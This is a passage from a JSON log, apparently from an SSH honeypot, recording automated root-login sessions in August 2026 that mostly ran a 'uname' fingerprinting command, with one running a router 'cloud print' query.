  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:48:59.726285+00:00",
  "ended_at": "2026-08-24T09:49:04.292726+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8359dac2-ed2e-4249-ac16-9e37dda8ee8c",
  "name": "plucky-emerald-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 52904,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:48:44.611287+00:00",
  "ended_at": "2026-08-24T09:48:49.649404+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6ebe646d-a12e-426c-8cd9-2aa705491084",
  "name": "peaty-graceful-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 58544,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 309,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:48:33.493669+00:00",
  "ended_at": "2026-08-24T09:48:37.284964+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "379b9bdf-eea8-4b39-9f1d-3f15e05e0f49",
  "name": "wiry-snowy-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 50386,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 238,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:48:21.290562+00:00",
  "ended_at": "2026-08-24T09:48:24.896439+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "508bfc9f-869d-49c0-acd7-41e2c551acdb",
  "name": "orderly-glassy-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 43654,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 220,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:48:14.323923+00:00",
  "ended_at": "2026-08-24T09:48:20.003546+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0461fb0b-ec7e-4461-8d5f-4223fa0331df",
  "name": "rustic-balmy-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 56962,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:48:13.125458+00:00",
  "ended_at": "2026-08-24T09:48:19.226679+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f13d7296-1ca6-41bb-b4e6-ffa874d4b483",
  "name": "orderly-grassy-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 51840,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 222,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:47:51.702828+00:00",
  "ended_at": "2026-08-24T09:47:56.004374+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c99cc1ac-518d-41e7-b29d-da93b7c2f2f1",
  "name": "jaunty-thawing-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 46808,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 388,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:47:16.345069+00:00",
  "ended_at": "2026-08-24T09:47:20.943594+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9d4398f6-f222-494b-82b2-c8c166368299",
  "name": "inland-quaint-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "178.175.167.68",
  "src_port": 44402,
  "username": "root",
  "client_version": "SSH-2.0-libssh2_1.11.1",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": 391,
  "probe_flagged": 0,
  "exec_command": "/ip cloud print",
  "started_at": "2026-08-24T09:47:15.632476+00:00",
  "ended_at": "2026-08-24T09:48:00.990751+00:00",
  "ended_reason": "exec complete",
  "commands": 9,
  "transcript_bytes": 4856
 },
 {
  "id": "24449a77-07ad-4a87-8167-2d4a3d6ef02f",
  "name": "lanky-distant-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 54528,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 282,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:46:53.805349+00:00",
  "ended_at": "2026-08-24T09:46:59.411664+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4461c41f-45e9-4c54-86d5-bdc70083e07d",
  "name": "tranquil-austere-mongoose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 34012,
  "username": "root",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T09:46:43.623498+00:00",
  "ended_at": "2026-08-24T09:46:48.071035+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c2ced84f-18a3-42ad-b267-3d54fb0bcc03",
  "name": "sturdy-drifting-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 54592,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:46:37.244949+00:00",
  "ended_at": "2026-08-24T09:46:42.617012+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6447b85f-665d-46e4-a466-71787c116c3f",
  "name": "fabled-kindly-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 40864,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 314,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:46:20.795305+00:00",
  "ended_at": "2026-08-24T09:46:23.794781+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "53ddb0b1-627b-4a9e-a598-32f33029f1a5",
  "name": "western-stoic-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 58922,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 301,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:46:17.203280+00:00",
  "ended_at": "2026-08-24T09:46:21.117671+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "41545e18-e33e-41e7-830d-1a2a7b8ccbed",
  "name": "gallant-bitter-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 42546,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 329,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:45:22.678212+00:00",
  "ended_at": "2026-08-24T09:45:27.107627+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ccb50c53-0280-4e93-9bbf-54a265f98cdf",
  "name": "dewy-salty-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 34028,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 248,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:45:05.502678+00:00",
  "ended_at": "2026-08-24T09:45:11.097966+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7034fc14-bb96-4a1d-ba22-ccbe22fa6800",
  "name": "wistful-icy-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 37152,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 307,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:44:50.684896+00:00",
  "ended_at": "2026-08-24T09:44:53.809191+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9d9b1fd3-859d-4b3b-bb7a-9296daf57aab",
  "name": "lucid-ancient-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 37138,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 240,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:44:43.124489+00:00",
  "ended_at": "2026-08-24T09:44:48.923766+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "38e72ede-0822-4425-b4a0-04c22c2136c6",
  "name": "electric-fickle-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 55652,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 250,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:44:11.910995+00:00",
  "ended_at": "2026-08-24T09:44:16.785221+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a77128b8-82b9-4f36-80a0-a205b9dee57f",
  "name": "painted-sincere-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 47110,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 281,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:44:00.643968+00:00",
  "ended_at": "2026-08-24T09:44:03.436290+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "753d98ef-22e1-40ce-b3a3-98423e13774d",
  "name": "autumn-western-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 34744,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 292,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:43:40.313141+00:00",
  "ended_at": "2026-08-24T09:43:45.246055+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b626ac86-02cb-471d-91cd-2a9fbd391494",
  "name": "dewy-granite-woodchuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 38122,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 229,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:43:39.947410+00:00",
  "ended_at": "2026-08-24T09:43:45.301294+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b8c0385a-1473-4c30-96c4-bc36d7b62bbb",
  "name": "vigilant-windswept-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 51728,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 249,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:43:27.732183+00:00",
  "ended_at": "2026-08-24T09:43:33.650129+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e7066e68-1a8f-4384-8afa-c9cc0e5d7eeb",
  "name": "quiet-mindful-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 38092,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 282,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:43:18.114495+00:00",
  "ended_at": "2026-08-24T09:43:22.904661+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8d3bd6ed-c0bc-4a2a-9fab-2565680307f4",
  "name": "gentle-rugged-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 34256,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 245,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:42:49.537622+00:00",
  "ended_at": "2026-08-24T09:42:53.790910+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3bff0058-6311-4b62-a431-787a7d9f1243",
  "name": "chilly-smoky-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 34076,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 251,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:42:38.087621+00:00",
  "ended_at": "2026-08-24T09:42:43.899734+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f5101b6e-9502-4e5c-adb6-c939292e72b5",
  "name": "serene-marine-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 59846,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 304,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:41:53.986825+00:00",
  "ended_at": "2026-08-24T09:41:56.842186+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ccc6f944-a1da-420b-b1b9-8f5c0d7aa902",
  "name": "russet-humble-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 36354,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 237,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:41:09.152339+00:00",
  "ended_at": "2026-08-24T09:41:12.737280+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "78844a21-fa7f-4378-b67f-b5c1322899d2",
  "name": "spirited-oaken-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 52070,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 280,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:41:03.206221+00:00",
  "ended_at": "2026-08-24T09:41:08.840679+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4e58975d-7fa9-404b-a61c-2f09f91ecf30",
  "name": "plush-somber-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 34942,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 285,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:40:40.916002+00:00",
  "ended_at": "2026-08-24T09:40:46.925893+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d74f5906-e447-4af9-b182-c7d155ac5246",
  "name": "zealous-hollow-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 52862,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 423,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:40:33.115635+00:00",
  "ended_at": "2026-08-24T09:40:36.087031+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "88aec204-6494-4dd7-bef0-f3c047062a5a",
  "name": "coastal-peaty-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 42446,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 252,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:40:28.844602+00:00",
  "ended_at": "2026-08-24T09:40:33.007035+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "51809591-353a-4d7f-90a7-6a1c5367d2f3",
  "name": "upland-obsidian-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 36102,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 233,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:40:17.428247+00:00",
  "ended_at": "2026-08-24T09:40:21.633672+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "10d1c156-a0ef-41f6-8237-1c7c78264f05",
  "name": "blithe-noble-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 54568,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 233,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:39:49.534050+00:00",
  "ended_at": "2026-08-24T09:39:55.299455+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f920f1d4-e595-4f25-9a8f-5b748021c0de",
  "name": "loyal-lucid-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 48844,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 233,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:39:31.816595+00:00",
  "ended_at": "2026-08-24T09:39:36.124426+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f5d61365-c888-4284-835b-5f5f2978ed09",
  "name": "canny-languid-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 41604,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:38:59.985607+00:00",
  "ended_at": "2026-08-24T09:39:05.041153+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "10932995-b263-48a0-9ec9-533e1dc0af59",
  "name": "peaty-idle-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 40310,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:38:46.536614+00:00",
  "ended_at": "2026-08-24T09:38:51.399629+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "85792f74-18fb-46db-93d0-4144e19859ee",
  "name": "merry-nameless-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 55108,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 252,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:38:32.518830+00:00",
  "ended_at": "2026-08-24T09:38:35.916812+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8975cc4f-d1c4-486b-8f0c-7b8c50f471fb",
  "name": "gloomy-flinty-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 49226,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 217,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:38:28.100598+00:00",
  "ended_at": "2026-08-24T09:38:32.810204+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d225945b-c9d4-4946-babb-a98aef4a2b05",
  "name": "nimble-inland-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 49228,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 333,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:38:26.829020+00:00",
  "ended_at": "2026-08-24T09:38:31.186604+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "10d2bd7a-b1b6-461b-9ecb-1f501febd9f2",
  "name": "wiry-feral-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 42208,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 249,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:38:01.890086+00:00",
  "ended_at": "2026-08-24T09:38:05.910147+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0f3b6a15-4257-4a4f-aa86-a3a727a62569",
  "name": "thrifty-zealous-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 42178,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 252,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:37:50.640346+00:00",
  "ended_at": "2026-08-24T09:37:55.181634+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "635f77e1-3ac6-47d1-8275-8a28b855e8ca",
  "name": "inland-solemn-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 42278,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 237,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:37:40.811371+00:00",
  "ended_at": "2026-08-24T09:37:43.887390+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "aa692eac-3347-4fd6-8afe-608891d6c645",
  "name": "gritty-autumn-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 34392,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 219,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:36:41.034045+00:00",
  "ended_at": "2026-08-24T09:36:45.500323+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d4cae631-bf11-47e4-885b-a8df1d14d7f3",
  "name": "ivory-honest-shearwater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 60026,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 223,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:36:16.916561+00:00",
  "ended_at": "2026-08-24T09:36:19.801326+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fdabe8fe-156d-4eff-a795-60fc163dc0d0",
  "name": "cunning-ivory-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 53708,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 219,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:35:55.232410+00:00",
  "ended_at": "2026-08-24T09:36:01.200879+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "61960d11-3e7a-413e-8288-fc0e6001b32a",
  "name": "lucid-fringed-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 60526,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:35:18.856603+00:00",
  "ended_at": "2026-08-24T09:35:24.541086+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "014241dc-cbdc-4b34-87b7-1ecdac4678cd",
  "name": "lonesome-lofty-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 44312,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 194,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:35:08.723478+00:00",
  "ended_at": "2026-08-24T09:35:14.850847+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "60722255-d4bb-483f-8438-3eddf4eee09d",
  "name": "blithe-granite-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 46158,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 202,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:35:00.018742+00:00",
  "ended_at": "2026-08-24T09:35:03.526828+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e2c701f1-628c-4016-8c23-2f46b4a4bef0",
  "name": "hazy-creaky-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 51872,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 228,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:34:22.713421+00:00",
  "ended_at": "2026-08-24T09:34:27.849409+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bdbd51b1-4e95-4127-b2ed-5a2e84266c46",
  "name": "windswept-ashen-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
